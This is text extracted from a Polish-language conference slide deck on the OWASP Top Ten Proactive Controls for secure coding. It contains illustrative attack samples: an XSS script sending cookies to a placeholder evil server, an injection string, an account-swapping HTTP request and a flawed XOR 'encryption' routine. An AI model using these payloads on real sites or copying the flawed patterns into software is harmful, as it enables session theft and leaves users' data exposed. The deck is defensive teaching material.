54
10 przykazań bezpiecznego programowania OWASP Top Ten Proactive Controls Wojciech Dworakowski, SecuRing OWASP Poland Chapter Leader

4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski

  • Upload
    proidea

  • View
    24

  • Download
    2

Embed Size (px)

Citation preview

10 przykazań bezpiecznego programowaniaOWASP Top Ten Proactive Controls

Wojciech Dworakowski, SecuRingOWASP Poland Chapter Leader

Wojtek Dworakowski@wojdwo

CEO (od 2003)Testowanie i doradztwo w zakresie bezpieczeństwa aplikacji i systemów IT

OWASP Poland

Chapter Leader (od 2011)

OWASPO = Open

• Materiały i narzędzia– za darmo– licencje Creative Commons– open source

• Tworzone na zasadach otwartej współpracy– każdy może przyłączyć się

3

OWASP Poland Chapter

• Od 2007• Spotkania: Kraków, Poznań, Warszawa• Wstęp wolny• Wspierają nas:

Ankieta na 4Developers 2014** Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014”• 62% firm nie edukuje programistów w zakresie

bezpieczeństwa aplikacji• >50% firm nie uwzględnia bezpieczeństwa na etapie

projektowania• 73% pytanych potwierdziło, że wprowadzało

poprawki wynikające z testów bezpieczeństwa• Tylko 42% potwierdziło że przed wdrożeniem

wykonują testy bezpieczeństwa

Disclaimer

• Nie można opierać bezpieczeństwa aplikacji tylko na podstawie Top 10– To materiał edukacyjny– Każda aplikacja ma swój specyficzny profil ryzyka

1: Parameterize Queries

SQL/LDAP/XML/cmd/…-injection

Łatwe do wykorzystania• proste w użyciu narzędzia automatyzujące atakZnaczne skutki ataku#1

Źródło: http://xkcd.com/327/

Dobre praktyki

#1 Zapytania parametryzowane– Prepared Statements / Parametrized Queries

#2 Stored Procedures– Uwaga na wyjątki! (eval, blok dynamiczny, etc.)

#3 Escaping– ryzykowne!

String newName = request.getParameter("newName");String id = request.getParameter("id");PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);

2: Encode Data

XSS

• Zmiana treści strony

• Przechwycenie sesji

<script>document.body.innerHTML(“Jim was here”);</script>

<script>var img = new Image();img.src="http://<some evil server>.com?” + document.cookie;</script>

Skutki braku kodowania znaków specjalnych

• Session hijacking• Network scanning• Obejście zabezpieczeń przed CSRF• Zmiana zawartości strony (w przeglądarce)• …• Przejęcie kontroli nad przeglądarką

– vide BeEF

Historia pewnej aplikacji

Cross Site Scripting

Ale często wklejenie bezpośrednio w kontekst javascript:

<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>

trn_recipient=';alert('xss');--

<script> var split='';alert('xss');--

Dobre praktyki

• Kodowanie znaków specjalnych odpowiednie do kontekstu użycia– element HTML – Atrybut HTML– JavaScript– JSON– CSS / style– URL

3: Validate All Inputs

Po co walidacja?

• Większość innych podatności (np. injection, xss, …) wynika (również) z braku walidacji

• Walidacja jest jak firewall– Nie zabezpiecza przed wszystkim– …ale dobrze ją mieć

Dobre praktyki

• Walidacja wg whitelisty a nie blacklisty,• Typowanie pól

– najlepiej „systemowo” a nie per formularz. – Porządkuje to bezpieczeństwo w wielu warstwach

– np. potem łatwo można użyć do reguł WAF• Walidacja pierwszą linią obrony

– np. silne rzutowanie typów zapobiegnie injection,– ale nie może być jedyną !

4: Implement Appropriate Access Controls

Historia rachunku

Żądanie HTTP po przechwyceniuGET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: accConnection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

GET /services/history/account/45101022350445200448005388 HTTP/1.1

SA-DeviceId: 940109f08ba56a89

SA-SessionId: 826175

Accept: application/json

Host: acc

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Podmiana nr rachunku – uzyskujemy cudze dane

Dobre praktyki

• Decyzja po stronie serwera !• Default deny• Wszystkie żądania muszą przejść przez

kontrolę uprawnień– scentralizowany, spójny mechanizm

• Zasady kontroli dostępu (policy) osobne od kodu– a nie jako część kodu

if (currentUser.hasRole(“administrator”)) { //pozwol} else { //zabron}

If (currentUser.isPermitted(printPermission)) { //pozwol} else { //zabron}

5: Establish Identity and Authentication Controls

Przykład defektu

• Uwierzytelnienie kluczem lokalnie trzymanym na komputerze

• Proces logowania:1. podajemy login2. wybieramy plik z kluczem, wprowadzamy hasło

do klucza3. jesteśmy zalogowani

https://...../GenerateNewKey

Dobre praktyki

• Sprawdź prawa dostępu do funkcji pozwalających na zmianę danych uwierzytelniających

• Zasada „łańcucha zaufania”• Uwaga na sesyjność „na granicy” !• Nie limituj długości i znaków które można użyć

w haśle

6: Protect Data and Privacyat transitat rest

Przykład defektu (at transit)

• SSL zapewnia szyfrowanie i autentyczność• Co weryfikuje autentyczność serwera?

– Aplikacje przeglądarkowe: Przeglądarka– Aplikacje mobilne / thick-client / embedded…:

Aplikacja• Najczęstsze błędy

– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”– Brak obsługi wyjątku

Dobre praktyki (in transit)

• TLS• Dla całości aplikacji• Cookies: flaga „Secure” • HTTP Strict Transport Security• Zestawy silnych szyfrów• Chain of trust• Certificate pinning

Przykład defektu (at rest)

• Przechowywanie haseł• „Własna” implementacja SHA1

public static String encrypt(byte [] in){

String out = "";for(int i = 0; i < in.length; i++){

byte b = (byte)(in[i] ^ key[i%key.length]);out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b

& 0x0f];} return out;

}

Dobre praktyki (at rest)• Nie próbuj wynaleźć koła !

– Własne szfry są ZŁE– Własna implementacja crypto jest ZŁA– Sprawdzone biblioteki

• Silne szyfry w silnych trybach– ECB jest ZŁE– CBC – uwaga na „padding oracle”

• Dobre źródło losowości dla IV

7: Implement Logging, Error Handling and Intrusion Detection

8: Leverage Security Features of Frameworks and Security Libraries

9: Include Security-Specific Requirements

Definiowanie wymagań

• Scenariusze ataku– Jak zagrożenia mogą osiągnąć cele?– Wymaga doświadczenia i wiedzy eksperckiej

• Dobranie zabezpieczeń == WYMAGANIA

Zagrożenia SkutkiScenariusze

ataku

Kto? Jak? Co?

10: Design and Architect Security In

Podsumowanie

To tylko Top Ten !

• Każda aplikacja jest inna– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)– i uwzględnić „zgodność z przepisami”

• Kilka prostych kroków daje duże efekty• Warto edukować programistów w zakresie

bezpieczeństwa

Spotkania OWASP

https://www.owasp.org/index.php/PolandLista mailingowa

Facebook: OWASP Poland Local Chapter

Twitter: @owasppoland

Dziękuję

Wojciech [email protected]@securing.pl

http://www.securing.pl